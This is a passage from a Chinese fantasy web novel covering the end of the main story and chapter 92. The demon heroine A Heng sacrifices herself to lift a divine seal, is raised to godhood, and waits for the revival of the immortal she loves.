阿姮动了动嘴,没发出声音。 那居然还真是仙果。 这一刻,她的心脏忽然狂跳。 果然……是他,对吗? “这样挺好的不是吗?等霖娘长大,你还有很多时间来看她。” 阿姮说。 “也不一定有很多时间了。” 春风吹拂着柳行云雪白的胡须,他转过脸看去,满城春景,生机无限,而他这副身躯早已日渐枯朽,任是什么样的春风也无法令他焕发生机了:“今日便是最后一面,从此,我不会再来了。” 他说着,对阿姮与积玉微微垂首,随后转身去了。 阿姮愣愣的,她望着柳行云走入热闹人群之中,他苍老的身影逐渐被人潮淹没,不见影踪,但她却听到了一阵笛声。 阔别八十六年,那笛声依旧婉转,哀烈。 从前是无奈的乡愁,如今,是生死永别的情意。 “他知道霖娘转世是为修补神魂,上界的功德簿中已有霖娘的名字,只待有朝一日霖娘长大成人,她必会飞升成仙,从此位列仙班。” 积玉的话并没有说尽。 但阿姮已知道他的意思。 霖娘早已完成她在人间的修行,她功德无量,她会飞升上界,位列仙班,而柳行云是个凡人,为弥合她的魂魄在人间奔走五十九年,从青春年少,到华发苍苍,他早就知道,她会成仙。 他义无反顾送她转世,盼她成仙。 从此,她在上界,而他为人也好,做鬼也罢,从此永诀。 那笛声渐渐不可闻,阿姮说不清心中到底是什么滋味,她压下纷杂的情绪,看向身边的积玉,八十六年过去,或因他早早肩负起药王殿的重任,所以分毫不敢懈怠,勤修苦练大有所成,所以他的容颜并没有如何变化,时间在他身上留下的,是一份越发超然的沉稳。 “阳钧那老头怎么样了?” 阿姮问他道。 “师父他如今已经大好了,”积玉说着,顿了一下,“前些天,他对我说,他感觉到有精纯清气触碰他的灵感,他……快要飞升了。” 阿姮闻言,眉毛一挑:“这么说来,你很快便是药王殿名副其实的殿师了?” 积玉点点头,眉宇之间却只有即将与师父分别的愁绪。 此时天光明亮,风也变得很轻,阿姮与他并肩往热闹的街市中去:“我本来打算今年给你写信,想去你们上清紫霄宫,去药王殿看一看的。” “好啊!我之前叫你来,你都不搭理我!” 积玉忙说道:“不如今日你便跟我回去吧?我带你看看我们上清紫霄宫到底有多大,还有小师叔……” 积玉忽然一顿。 八十六年过去,竟然还是如此难以释怀,他放轻声音继续说道:“小师叔从前在药王殿的住处,他炼丹,做功课,辨百草的地方……阿姮,难道你不想去看看吗?” “想啊。” 阿姮抬起眼帘,与他相视:“但我忽然有些事要去做。” “那我在药王殿等你。” 积玉说道。 阿姮笑了一下,没说什么,只是从腰间扯下来那个破布荷包,问他道:“我一直想问你,这个荷包是不是有你们药王殿的法术?怎么里面的钱我一直都用不完啊?” 积玉接过来看了看:“的确有法术,应该是小师叔用了储物的法术,我们药王殿可没有什么凭空变出钱来的法术,这些钱……” “我想这些钱应该是小师叔从前在药王殿的月俸,还有他下山之后给人治病的酬劳。” “你们药王殿还有月俸?” “当然有,而且每回课业第一的弟子月俸最高,因为我们药王殿弟子都是要入世游历的,有了这些月俸,我们就可以拜托游历回山的师兄们再下山时给我们带吃的玩的,等到我们被准许入世,这些便是自己的盘缠。” 积玉说着,看向她:“小师叔年年课业第一,月俸最多,但我从没见过他让师兄们带过什么东西,他不用这些,但又一直留着,阿姮,我如今想来,也许,他这些本就是留给你的吧。” 阿姮愣住了。 好一会儿,她从积玉手中拿回荷包,小神仙十七年的月俸,她这样大手大脚用了八十六年竟然还没用光。 上清紫霄宫是真有钱啊。 阿姮一边将荷包系回腰间,一边说道:“积玉,你知道吗?我曾经打过你心脏的主意。” “……啊?” 积玉神情惊异。 “就是想挖你的心脏。” 阿姮终于系好了荷包,抬起头看向积玉,他已不是从前那个总爱跳脚的积玉了,他看起来一点也不生气,反倒问她:“那你为什么没有?” “因为你的比不上他的。” 阿姮见自己提到小神仙,积玉终于有点变脸色了,她一笑:“还因为,在我还不知道什么是朋友的时候,你便像霖娘一样,把我当作了朋友。” 积玉怔了怔,忽然就有点不好意思:“你……你说这些做什么?” “没什么啊。” 阿姮站直身体,双手抱臂:“你说,我现在看起来像不像个人类?” 灿烂的日光下,积玉认真看向她,笑着说:“你早已是人了。” 虽是妖身,却有人心,如何不能算是一个人呢? 阿姮闻言,也跟着笑。 “好了,你回你的药王殿去吧,我也要走了。” 朝他摆摆手,她在岔口转身,步履轻盈地奔入人群。 “阿姮!” 听到这一声,她下意识地停下,转过脸,积玉停在不远处,行人来来回回,春风吹动他青色的衣摆,他朝她招手:“我在药王殿一直备着一坛好酒,你今年,可一定要来啊。” 阿姮露出笑容:“你们这些修行的,哪有什么好酒,当我没喝过好的吗?到时我请你好了。” 她转过身,眼底笑意敛尽。 真是对不起了,积玉。 反正她这样的人,总是在胡说八道。 守护着赤戎与外界之间的界桥的神仙们正在云端用云雾捏成的牌推牌九,人间过了八十六载,他们便在此打了八十六载的牌,天地祥和极了,他们也惬意极了,一位神仙喝个琼浆的功夫,低头往底下瞥了一眼,手里的牌顿时捏散成一堆云絮: “她怎么又回来了?” 神仙们顿时自云端下视,只见那红衣少女涉过长长的界桥,穿过一片黑山黑水,去到那神山之下。 神仙们见她在山下伫立良久,随后化成红雾飞入一石窟之中。 “她好不容易想清楚出去了,这是出去了一趟,又想不清楚了?”一位神仙看向身边的同僚们。 神仙们面面相觑,谁也没明白这到底是怎么一回事。 石窟中光线昏暗,阿姮的目光扫过凹凸不平的石壁,满地嶙峋的石骨,蛛网遍结,风中甚至有股潮湿的味道,她的视线停在那犹如冰晶玉髓般的巨大兽爪。 此间似乎,只有它永远洁净无瑕。 阿姮忽然开口:“程净竹,我想吃果子。” 整个洞窟里,安静到只有她的声音清晰回荡,她始终站在那里,直到轻柔的风拂过她的衣摆,刹那间,如碧芳草,鲜花满丛,无尽的生机在她眼前生长,蔓延。 树苗破石而出,很快繁茂如荫,鲜红的果实缀满枝间。 满窟花草,一如往昔。 阿姮忽然轻笑一声,湿润的泪意跌下眼眶。《 》 【正文完结】 第92章 第92章 “我的阿姮,天…… 092: 洞外云开雾散, 日光却并不如何明亮,清冽的光线盈满洞口,外面春寒不尽,而洞中百花灿若云霞, 宛若仙境。 阿姮摘了颗鲜红的果子, 转身朝洞口去, 碧绿的藤蔓绕过晶莹剔透的兽爪,追逐她的步履,阿姮脚下一顿, 她回过头, 清光斜照她白皙的脸颊, 眼帘轻垂, 她注视着那缠住她裙角的藤蔓,碧绿柔软的藤上, 忽然开出一簇又一簇雪白的藤花。 花开无声, 更胜有声。 那是阻止,是挽留, 是一副残破的, 即将永远消失, 甚至无法化风化雨的灵魂想要对她说的许多话。 阿姮一言不发, 俯身, 指尖轻轻抚过那些洁白的小花,神情似乎爱怜,但仅仅一瞬, 她站起身,艳丽的脸庞再无一丝表情,裙角顷刻挣脱藤蔓, 她大步走入洞口那片淡白的光线里,洞中藤花尽枯,花草萎顿。 云中的神仙们注视着那洞窟中飞出来的红雾,他们看着那红雾落到神山之巅,重新凝聚成一少女身形。 阿姮立于山巅,四下俯瞰,西有两山夹涧,瀑如白虹,东则溪环石映,群岳屼嵲,她咬下一口果子,只见山花如雪,草木如漆,明明正是春时,可赤戎早已被单调的黑与白浸透,连日光也总是淡薄的。 神山巍峨,乃赤戎最高峰,阿姮居高临下,漫不经心地欣赏赤戎四方景色,她的目光久久凝在那波涛汹涌的黑水河,果子被她慢吞吞一口一口啃了个干净,山风无比凛冽地拂过山巅,阿姮鲜红的衣摆猎猎飞扬,她吐出果核,忽然扬手施法,刹那风声欲狂,铺天盖地,涌向山巅。 这一瞬,云中神仙们的一双双神目无比清晰地看见风中那些飞速流动的炁,或清或浊,皆疯狂地奔向神山之巅那红衣少女的身上。 神仙皆惊,他们立即从云中现出身形。 “阿姮姑娘,你这是做什么?!” 狂风卷起扬尘,天地很快变得浑浊,阿姮仰起脸,看向云端那一重重神仙的影子,她并不说话,并指施展法术,暗红的雾色铺开,自四面八方而来的炁无比猛烈地钻入她这副血肉壳子的七窍,骤然撞上她混沌真身中的金光咒印。 咒印迸发剧烈的气流,将那些涌入阿姮身躯中的炁撞散出去,强烈的金光自她周身散开,鲜血顺着阿姮的耳心,眼睑流出。 此时,云端忽然铺开霞光万道,守界桥的神仙们抬首望去,只见天帝与十二金阙诸神于灿烂云霞中显出真身。 天帝扬袖,金光顿化绳索将神山之巅那红衣少女捆缚起来,天帝神情端严,下视山巅:“阿姮,当初你在此自愿接受封印,如今竟又出尔反尔……告诉朕,为什么?” 阿姮被捆缚住双臂,动弹不得,法术失效,炁的流速减慢,风也变得不那么剧烈,她仰起脸,一缕鬓发拂过她的眼睫:“因为那时甘愿,所以如今我便不能再反悔了吗?” 众神竟真的亲耳从她口中听到“反悔”二字,一时间他们脸色各异,那慈济真君神情骤然一肃:“阿姮,你到底为何忽然要解开自身的封印?” “我非但要解开我身上的封印。” 阿姮对上慈济真君的目光,山风呼啸,而她声音徐徐:“我还要解开这座神山的封印。” 云端一片哗然。 诸神脸色大变。 仿佛持续了八十六载的安宁在这几句轻飘飘的言语之中骤然粉碎,诸神顿时神目如炬,下视那红衣少女,如临大敌。 “阿姮……你可知你在说些什么?” 慈济真君难掩惊谔,他复杂的目光不断审视着底下那少女,他不明白,这八十六年的人间岁月,到底带给了她什么:“你知不知道你这么做,天下苍生皆要受难?” 阿姮被金光束缚得死死的,她试探过了,仅凭她的力量根本无法撼动嵌在混沌真身中的咒印,她抬眸扫视过云端那些神仙看向她的目光,自她说出“反悔”二字,他们的神情无不充满着警惕,怀疑,以及不解。 唯独天帝望着她,不悲不喜:“阿姮,你到底想做什么?” 阿姮遥望山间,金霞映照深邃的树木,一片幽丽:“我是天生的妖邪,原本我连人的规矩都不懂,也并不明白你们这些神仙的所谓道心,我觉得我不必关心这世上的一切,因为这些从来与我无关,我没有人类的道德,也自然不会怜悯,我本不需要这些东西。 所以东海之下,我是故意回到青峨手里,我知道她需要我,需要我解开这座神山的封印,放出所有的天衣神族,而我……也同样需要她,因为我知道,你们这些神仙因为你们所谓的责任,也许并不希望白泽取回他的神骨,所以,我觉得我与青峨之间勉强也算笔不错的交易,可我千算万算,却没料想到,他根本从未想过要取回他的神骨。” 阿姮说出自己曾在心中精心盘算过的阴暗想法,她毫不在乎这些神仙听了,又该如何看她:“其实我根本不在乎你们的苍生,我对青峨的反抗,只是因为我不愿受她摆布,我不想被强迫做任何我不想做的事,还因为,她杀了一个我很在乎的小崽子,还害我霖娘魂飞魄散,险些永远消失……” “我本不像你们神仙胸怀宽广,装得下这天地间一切万物生灵,我来到这世上,原本只在乎过那么几个人而已,你们说,这个世界新的太平是我一手成就的,可是,那并不是我的本意,我不在乎什么太平,也没那么崇高。” 阿姮说道:“自我明白什么是生,什么是死,凡人的七情六欲首先教会我的,是对永远消失的恐惧,我很害怕这个,所以我曾经真的很不明白,为什么神骨近在咫尺,而他却宁愿魂飞魄散,为什么霖娘曾经为救村邻而险些永远消失之后,又要再度走上这样的绝路,为什么你们这些神仙为了你们所谓的责任,总是不惜神殒……你们不是爱苍生吗?既然爱……又为何总舍得弃这一切而去呢?” “因为责任,总要有人承担责任。” 天帝说道。 “所以,你们要为了这样的责任而不断的神殒吗?”阿姮垂下眼帘,看向峭拔的山崖之下,风雾无边,“天衣神王血脉虽尽,可他的神通却已回到神山之下,天衣神族不死不灭,他们之中迟早会诞生新的神王,他们绝不会放弃突破封印,光复天衣,太平绝不会长久,难道他们作乱一次,你们便镇压一次,用你们的作为神明的生命一次次用性命去填?” 阿姮看向天帝:“听说你担负着十二金阙所有神仙的神魂,他们殒灭,你必神身受损,你说凡人成仙飞升的速度,能赶得上你们在这座神山中无休止填命的速度吗?” 此言一出,诸神不由面面相觑。 阿姮身躯依旧无法动弹,发间的焦簪却在此刻随她意动,幻化金光,又转瞬在她眼前凝成本相,云端诸神见此,不由齐齐戒备,却见那万木春焦黑的枝尖一转,竟赫然指向阿姮。 枝尖划过她的手臂,鲜红的血液顿时涌出,洒落地面,云中诸神面露惊异,那慈济真君更是脸色一变:“阿姮,你……” “我曾经从这里出去之后,曾有人对我说,希望我会喜欢这个世界。” 阿姮冷眼睨着地上的血液融入凹凸不平的石骨:“人类一点也不完美,可我总是想做人,即便人性总有肮脏的那部分,可我喜欢那最美好的部分,喜欢因为这部分美好而创造出的游船,花灯,美馔佳肴,喜欢人类欣赏万物的眼光,喜欢他们亲手种出的稻米,建造的房舍,喜欢他们对风调雨顺的期望……我再也不敢轻视人类的渺小,因为好像,渺小其实也并不是什么不好的事情。” 万木春不住地颤动。 阿姮暗红的眼睛一瞬不瞬地注视着它。 它不愿挪动一下,无尽的炁却在此时裹着狂风自四面八方而来,浑浊的风烟弥漫起来,云中天帝与慈济真君齐齐出手,金霞拨开浑浊,却见那万木春被猛烈的风裹挟着骤然刺入阿姮的胸膛。 诸神无不惊愕。 狂风呼啸着,阿姮感觉到自己那颗血肉心脏被刺穿了,与此同时,她周身笼罩着浓烈的血气,混沌真身中金光咒印发出冰裂之声。 血气笼罩整座神山,混沌之力从咒印裂隙中迸发出来,天地震动,诸神只听见她平缓的声音:“天衣人的恨将这赤戎浸透了,所以这里黑山黑水,生机萎顿,而无尽的镇压,只会换来无尽的怨恨,所谓封印,根本不是什么最好的结果,所有人期望的太平,永远不会来临。” 阿姮曾最珍惜这颗得来不易的血肉心脏。 可如今,她不要了。 什么心脏,壳子,她全都不要了。 四枚火种融化于她的混沌之力,即便诸神在天,亦难阻她此刻所为,她的血气里有白泽神心的气息,因为这种气息,血气轻易钻过与山石相融的白泽神骨,破开一道缝隙,那缝隙被混沌之力层层包裹,形成一个破口。 “神山之下,所有的天衣人听着,我以我一身血肉与混沌之力为祭,今日,便为你们重塑血肉之心,使你们归于平凡,重获自由。” 阿姮的声音响彻天地。 至此,满天诸神终于明白过来,阿姮她所说的解开封印,根本不是放天衣人出来祸乱苍生,而是要以她的血肉,她的混沌之力来永绝后患。 可是……她为什么可以为天衣人重塑血肉之心呢? 他们不约而同地凝望着那神山之巅的少女,胸中各有各的复杂难言。 而阿姮始终注视着那破口,神山之下,隐隐约约传来天衣人沸腾的声响,可他们却始终无人穿过那道破口。 “我天衣神族好不容易得来紫目神窍,不死不灭,怎能再要一颗平庸的血肉之心,困于所谓寿命?不要上她的当……” “对,不要上她的当!她背叛了天衣!她杀了圣女!” 浓烈的血气如雾一般环绕巍峨的神山,阿姮的声音被风送入破口深处:“那么天衣混血呢?若我告诉你们,只要你们穿过裂隙走出来,禁锢在你们身上的诅咒便可以解除呢?你们真的……不想吗?” 阿姮的声音犹如一道闷雷炸响在神山长渊之下,又像是一道钩子,轻轻牵住所有天衣混血的痛苦,绝望。 神山下猛然爆发出杂乱的声响。 阿姮即便没有亲眼得见,她也知道,此刻神山之下,正在发生一场暴动,正如从前她在底下无数次见过的暴动,天衣混血因为不想做她的食物而反抗,反抗的结果是,他们依旧会成为她的食物。 但他们依然会反抗。 自在绿牡丹城见过那名女子,阿姮心中便想过很多,即便从前再不是她的本意,可她却始终清晰地记得自己吞噬了无数天衣混血的血肉。 阿姮如今想来,也许是他们绝望中的一次次反叛透过他们的血肉而浸透了她的真身,她想,会不会她之所以可以一次次长出神魂,其中也有几分这样的缘故。 她感知过他们的不甘,他们的反抗,所以她的不甘也那样的强烈。 此刻,阿姮的血肉身躯融化成更加浓烈的血气不断维持着那道破口,她失去了壳子,只剩一团红雾似的真身,她注视着那道破口,只见其中挣扎着爬出来一个,两个,好多个影子。 他们冲出破口,被飘渺的云送到地上。 紫火剥脱他们的身躯,消散无痕,他们似乎呆滞了会,有人眼翳消失,有人浑身剧痛的骨头忽然就不痛了,那些因诅咒而畸形的肢体竟然变得完好无缺,他们终于反应过来,在地上翻来滚去,近乎癫狂的又笑又哭。 “诅咒真的没有了……我好了哈哈哈哈哈哈哈!” “我好了,我真的好了……” 阿姮注视着破口处越来越多的影子,她知道一定会是这样的局面,无论是天衣混血,还是那些因神窍中情志还未完全泯灭而与凡人结合诞下混血,被其他天衣神族禁锢,怪罪的天衣人,他们绝不会放过这个机会。 他们一定会出来,且一定会让所有的天衣神族全都出来,因为他们也不想再给天衣神族控制他们的机会。 阿姮一念起,混沌之力随她意动,穿过破口处天衣混血的身躯,借着他们畅通无阻地涌入地底深处,狂风一般,将他们所有的人全都卷了出来。 万木春金色的光照耀破口,越来越多的天衣人坠落地面,幽冷的紫火不断从他们的身体剥离,消散,他们睁大绿色的眼睛,感受着胸腔里神窍化为血肉的声音,惊恐地大喊:“不……神窍是天衣神族的根本,我们是这世上最尊贵的血脉,不要……我不要这平庸的血肉!不要!” 有的天衣人甚至经受不住这样的屈辱,发了疯地捅破胸中的血肉心脏。 “我不要……不要这样的脏东西……” “这世上从来没有什么尊贵的血统,你们,也不过都是凡人而已。” 阿姮盯着地面上密密麻麻的天衣人:“从今以后,你们不再具有不死不灭的能力,生命有终,死入轮回。” 无数天衣神族痛苦,耻辱的模样与天衣混血仿佛重获新生的欢欣模样形成鲜明的对比,阿姮扫过那些绝望的嘴脸:“你们不是喜欢诅咒吗?就当这是我给你们的诅咒好了。” 混沌之力随着所有天衣人从那道破口中出来而慢慢消散,阿姮感觉到自己的真身也在缓缓消散,她觉得也许生命总是有因果的。 就像当初她吞噬了那么多天衣混血的血肉,而今,她的一身血肉却偏偏成了解除他们诅咒的法门。 纵然曾经那些都不是她甘愿的,可这依旧是她心中的债,她有了人类的七情六欲,也因此而学会了愧疚。 她才不想解救什么天衣人,他们也不配得到任何救赎。 她只是想还天衣混血的债,她只是……没有办法面对一年之后,小神仙那副残缺魂魄的永远消失。 四面八方凛冽的风中,独有一缕极其轻柔的风拂过她的脸颊,这一瞬,阿姮忽然落泪,她似乎感觉到了:“你在怪我吗?” “可是,是你教过我。” 阿姮说:“是你对我说,喜欢什么,就要留住什么。” “我不要你消失,我也不希望这个世界上任何我喜欢的一切消失,如果那便是苍生,我可以像你一样爱它。” 阿姮的身影淡薄,她垂眸看向自己胸口,那道幽蓝的神印从她的真身中剥离出来,化成了一颗明净的宝珠。 因为它,所以这世上没有任何人可以杀死她。 但,要除了她自己。 她抱定一颗必死之心,这道白泽神心化成的神印保不住她,九仪的金光咒印也无法封住她的混沌之力。 宝珠随风落入神山。 天地之间笼罩一片明光,以身化成重重封印的神仙们如霞光般从神山剥落,天衣人已不在神山之下,而他们也不必再苦等自己神殒的结局。 他们化出身影,不约而同地看向那红雾中淡薄的影子。 而此时,整个赤戎群山褪去浊黑,显露一片苍翠,河流里奔涌的黑水变得无比清澈,山中草木新发,山花各色。 赤戎与外界,从此再也没有任何分别。 云端,天帝忽然扬袖,金光如炽,涌向那片越发浅淡的红雾,慈济真君与诸神接连出手,刹那间,无比耀眼的金光几乎将那团红雾紧紧地包裹起来。 众神的精纯清气涌向红雾,却仍旧无法阻止红雾散开,天帝再度施展法力,众神紧随其后,那元真夫人与酆水水伯分明才从封印化回神身,一身精纯清气早已消耗许多,此时,他们亦毫不犹豫地出手,竭力送出精纯清气。 然而江海般的精纯清气涌向红雾,却始终无法真正使红雾重新凝聚,天帝始终不语,拧起眉头,继续施法释放自身的精纯清气涌向那一团越来越小的红雾。 仿佛漫天的霞光笼罩而来。 阿姮的感知早已不那么的灵敏了,她彻底放松了自己紧绷了很久很久的神魂,真身渐渐破裂。 忽然间,纷杂的冰裂声戛然而止。 阿姮涣散的神识像是被一只巨大的手掌捉了回来,重新拧成了一团,她竟然觉得很痛,刹那间,她感知到残存于她真身之中的那道金光咒印竟然将她四分五裂的真身缠裹起来,使其一时间无法飞散。 “阿姮,你已经受住我给你的这最后一道考验。” 忽然,一道清越的女声如和风细雨般拂过天地之间。 天帝与诸神皆闻这道神音,天帝垂首,诸神亦连忙俯身,齐声唤道:“九仪娘娘!” 阿姮被胡乱捏起来的神志还没反应过来什么考验不考验的,那道女声再度响起:“昔日我劈开混沌,再造三界,本意是为彻底焚毁天衣人在人间的基业,我奉出自身所有精纯清气度化人间德者,善者,圣者为神,是为防止天衣人卷土重来,可我却不曾料到,因为我将混沌之气分化清浊,竟会使花草虫鱼,飞禽走兽异化成妖,我曾以为我以为三界定下最好的法度,却未料,妖成了其中的变数,这么多年,辛苦诸卿了。” “娘娘,一切皆是吾等职责所在。” 天帝说道。 “阿榆,当初将这重担交给你,我便知道你会做得很好。” 九仪的声音似乎隐含一分笑意。 天帝眼瞳颤动。 灿烂的霞光中,那红雾仍被一道金光咒印紧紧缠住,未能消散,九仪的声音再度响起:“阿姮,你是天生的妖邪,却在天衣人无尽的恶欲熏陶之下,始终不移本性,你渴求凡人的五感,却也因为这种渴望而体会所谓七情六欲,你经过世间所感知过的那些情,终究成为你的情,人间八十六载,你虽为妖身,却早已化人。” “而今,你甘愿为苍生,为万物放弃你的混沌之力,甚至放弃你珍爱的血肉身躯,珍爱的血肉心脏甚至是你的性命,七情之中,爱最沉重,你以无私的爱永绝天衣后患,还赤戎原本的生机,可谓功德无量。” “今日,我便以我留存于这世间最后的精纯清气度你——化身成神。” 九仪的声音温和而有力量: “世间之妖因我而生,他们拜过我,敬过我,又因我不曾予他们一条明路,而使他们浑噩而活,所以他们又恨我,但自今日始,天下众妖皆会知道,你是这天上地下第一个化身成神的妖,神本无相,万法从心,从此,你便是他们昂首可见的道。” 赤戎的整片天空顷刻被万顷金光充斥,它们涌向阿姮这团濒临破碎的红雾,修补她残破的真身,安抚她将碎未碎的元神。 红雾逐渐凝成一道模糊的人形。 漫漫云霞中,天帝挥袖,一卷玉简凭空出现:“朕上承天道,总持万灵,今察女妖阿姮,真身混沌,虽为天衣人所制却百折不屈,性真,性纯,至韧,先诛天衣圣女,虽身怀混沌之力却从无祸乱苍生之心,后牺牲自身,拯生灵于灾厄,功德无量,可表可旌,兹特敕封尔妙华显应元君,司万妖善恶巡察之职,掌万妖度化之责!” 阿姮却听不清这声音,她只觉得眼前划过很多景象,风雾漫漫,她的神志仿佛越过神山,越过整个赤戎,跨越千山万水,奔着什么地方去了。 那是一片山林,山中春花尽开。 明亮的天光之下,一间小庙矗立在那片花影里,庙宇中,三道佝偻苍老的背影立在供桌前,恭敬地将手里的香插到香炉里。 香火缕缕。 阿姮竟然听到他们的声音。 “娘娘,村里人都说咱三个能到这岁数,都是因为年年拜您的缘故,其实,我们也是这么想的。” 头发花白的老翁抬起一张皱巴巴的脸,他浑浊的眼里却装着清澈的笑意,阿姮仅凭那笑意,轻易便断定,他是陈小虎。 “您庙里的香火越来越好了,他们都想向您求长寿呢!” 另一个老翁也抬起脸来。 他是陈小山。 他小时候干干瘦瘦的,如今老了,竟然也还是这样。 阿姮看到他们中间的老妪,她那张沧桑的脸依稀可见年轻时的秀丽,她仰望着面前的金身塑像,说:“娘娘,您如今在哪儿呢?您好吗?我们都很好,如今已是儿孙满堂,这辈子都过得很开心。” “希望娘娘不论在哪里,也会过得开心。” 陈小秀无比虔诚地凝望着金身塑像,忽然间,她那双眼皮松弛的眼睁大起来,她一巴掌拍向身边的两个老头:“你们快看啊!” 三人齐齐望着那金身塑像,只见那神像模糊的脸五官竟然逐渐变得清晰,几乎与他们少时曾见过的娘娘一模一样! 庙门忽然震动,三把老骨头吓得咯吱作响。 他们摇摇晃晃地奔出庙门去,齐刷刷地仰起脸,只见明亮的天色中,那道多年都刻不上一道痕迹的牌匾此时竟然凭空出现无比庄严的金漆字痕—— “……妙华元君殿?” 三个年迈的老人望着牌匾,眯着老花眼齐齐念出声来。 “阿姮,自你而始,妖亦有正道可循,望你恪守天规,勤襄化育,明辨善恶,广布慈泽。” 九仪的声音顷刻唤回阿姮飘去千里之外的神志,她睁开眼,怔怔看向自己的双手,反应过来,自己竟然拥有了一副全新的身躯。 胸腔里,有颗心脏在沉稳地跳动。 那是一颗精纯清气凝结而成的神心。 而她的每一寸骨骼,每一分血肉,都由精纯清气造化而成。 玉简之上篆文成行,金光熠熠,妙华显应元君之神位已存在于十二金阙神仙宝册之中,天帝挥袖,玉简无踪。 万木春环绕阿姮数圈,震颤着发出金石之音,阿姮看向它焦黑的枝身,金电滋滋作响,竟与她气息相和。 阿姮抬手握住它的刹那,只觉它周身的每一缕金电都与她的每一寸经络紧密相连,她想起自己曾以碧瑛教给她的行炁道法强行掌控万木春为自己重塑经络,她也曾因此而不得不承受巨大的折磨,但此时此刻,她却清晰地感知到万木春清风细雨般,好似彻底融在她的骨血里,她甚至可以感受得到它与这世间万物之间最微妙的联系。 阿姮抬起脸,春风湿润,轻轻吹拂她鬓边的浅发,赤戎的天地似乎本该如此清澈动人,而这天地之间再也没有一分九仪的声息。 她永远消散于三界之内,无论是阿姮,还是天帝,诸神,皆再也无法聆听她的意志。 远处,神山一声霹雳,仿佛崩雷暴裂,巍峨的山体轰然下陷,一时滚滚烟尘四起,几乎遮天蔽日。 阿姮转身望去,顷刻飞身掠入浊烟深处,她的身影融成茫茫红雾,铺天盖地涌向不断下陷的神山,四分五裂的山体中千丝万缕的金芒流散而出,雾如红絮,自上而下纷纷缭绕,缕缕金芒被氤氲的雾气勾住,缠绕,一时间,飞火流光,灿如云霞。 天帝见此,脸色骤变,他立即并指结出一道金印,挥袖,金印飞入红雾之中,幻化出一个金光法阵,刹那间将那一缕缕被红雾努力挽留的金芒收拢到法阵之下,而此时,慈济真君也反应过来,他与身后诸神齐齐施法,金光法阵飞速转动,天上地下炽耀甚明。 道道金芒被法阵收束,一丝一缕彼此缠绕,融合,最终浑然一体。 红雾幽幽浮动,凝聚成阿姮的身形,她悬立与半空之中,衣摆飞扬,神山已倾,风烟剧烈,她望向那一寸近在咫尺的金焰。 焰光燃烧,跳跃在她的眼中。 她仿佛从那晃眼的光影中,望见一道模糊的影子。 灿烂的祥云铺陈天际,清风徐徐,慈济真君望着那道金焰,喃喃:“他真的还在……” 天帝袖中指节攥紧了又松,他看向那片祥和的云气,漆黑的长须被风吹得微微晃动:“是九仪娘娘,是她留存于世的意志将我儿当日在此飞散的魂魄化入世间福泽之中,给了他一线生机。” 世间一切福泽比炁更加虚无缥缈,只有祥瑞化身的白泽可以感知它的存在。 九仪身为天地之母,只有她可以使世间一切因她再造天地而诞生的福泽与白泽残魂相融,减缓他魂魄飞散的速度。 阿姮伸出手,轻轻捧起那寸金焰。 “所以他会好的,对吗?” 她一下转过脸,望向云中的天帝。 “如今他神心与神骨皆在,只要有足够的时间弥合他残缺的魂魄,他会好的,一定……会的。”天帝强压眼中的酸涩,失神般,凝望着阿姮掌中的金焰。 天光朗朗,阿姮扬手施展法术,金焰顷刻飞入她腰侧的布娃娃之中,布娃娃眉心顿时烙印一道金色的焰痕。 她将布娃娃捧起来,清冽明亮的光线之中,布娃娃浑身珠饰,宝石做的眼睛似乎比从前更加剔透漂亮,银色的发丝比锦缎更加莹润泛光。 阿姮眼睛弯若秋月,眼睑却浸出泪来,泪珠断线般滴落在布娃娃的身上,她轻声道:“我会等你的。” “就像你曾在药王殿一年一年盼望一条下山的路那样。” “小神仙,多久,多远,我都会等你的。” —— 十二金阙三百年一度的瑶池盛会在即,仙娥们各色的披帛一扫,红霓紫雾毫无尘杂,碧沉沉的天门也剔透如新,天宫数座,光华巍巍。 皑皑云气蒸腾,仙苑中金霞照松,散碎祥和的光芒穿过老松枝叶缝隙,投落于一位白发老神仙的肩背,他摸着胡须,凝神盯着面前白玉桌上的棋局,一时间举棋不定。 “师父,您是睡着了吗?” 在他对面,手挽拂尘的神仙年纪看起来比他轻许多。 这二人赫然便是慈济真君与阳钧这对师徒,几年前,阳钧飞升成仙,如今与师父慈济已是同僚。 “催什么催?” 慈济真君瞪他一眼,转过脸装模作样地往一旁观棋的神仙堆里望了望,忽然“哎”了一声:“那混世魔王今日怎么没来?” 阳钧不由随他目光扫去。 正是此时,慈济的手偷偷摸摸伸向棋盘,却被阳钧的拂尘一下截住,阳钧回过头来,笑着说道:“师父,这样不太好吧?” 慈济真君手一摊:“真没意思,不下了!” “那魔王到底哪儿去了?” 他看向周围,云雾缭缭,繁花似锦。 “她昨日便下界去了。” 阳钧老神在在。 一位在此观棋许久的神仙闻言,雪白的眉毛一动:“果真?那可真是……太好了!” 他脸上的褶皱都顷刻舒展开来,难掩喜色。 “难怪今日我宫里的鸟儿叫得那么好听呢,”一位年轻的神仙说道,“原是妙华终于下界去了!” 诸位神仙几乎是不约而同大松了口气。 连慈济真君也偷偷舒了口气,他嘴上却道:“妙华嘛,就是年纪太轻,性子不沉稳,第一回做神仙对什么都好奇,咱们多担待她些也没什么嘛。” “慈济真君莫不是忘了你那宝贝丹炉了?” 一位神仙轻摇蒲扇,幽幽说道。 慈济真君和蔼的脸色顿时有点开裂了,前两个月,那阿姮说要跟他学炼药,却用他的宝贝丹炉炖鸡吃。 搞得他现在炼丹,总觉得里面有个鸡味。 又一位神仙说道:“她在十二金阙,成日乱窜,上回她来我宫里也不知教了我那鸟儿什么,那叫声是一日比一日难听,咱们的法宝,还有谁没被她借去玩过的?咱们的坐骑她也全都坐了个遍,再说咱们这些老家伙平日在这仙苑里也就一个下棋的爱好,她还总偷偷摸摸地来捉弄……” 搞得如今他们在这儿下棋都疑神疑鬼的,总怀疑哪颗棋子是她变的,又或者她是不是猫在哪片仙花仙草里憋着什么坏。 想到她下界去了,大家不约而同再舒一口气。 “自妙华成神至今已有六年,如今她的神祠在人间日渐增多,当日九仪娘娘神谕遍示天下,从此万妖皆知她这位由妖化神的元君,多少妖怪备受鼓舞,敬她为正道,一心摒弃恶欲,以修行入正途,如今她神位已然稳固,每日耳边不知有多少信徒的絮叨,不知多少妖怪盼她指点迷津,她啊……可有的忙了。” 阳钧将棋子捏在手中,微微一笑。 “瑶池盛会在即,也不知她这个时候走什么。” 有个老迈的神仙嘟囔了声。 “咱们是等着吃瑶池盛会上的仙果儿的,”慈济真君哼了声,“她不赴会,天河边树上的果子她也没少摘,那仙树乃是天帝陛下曾为我那徒儿白泽亲手栽种的,她总摘着吃,天帝也不管她,你们没听说吗?就因为她,咱今年可能都不够吃了。” 重重云霄之下,人间正值一个春夜。 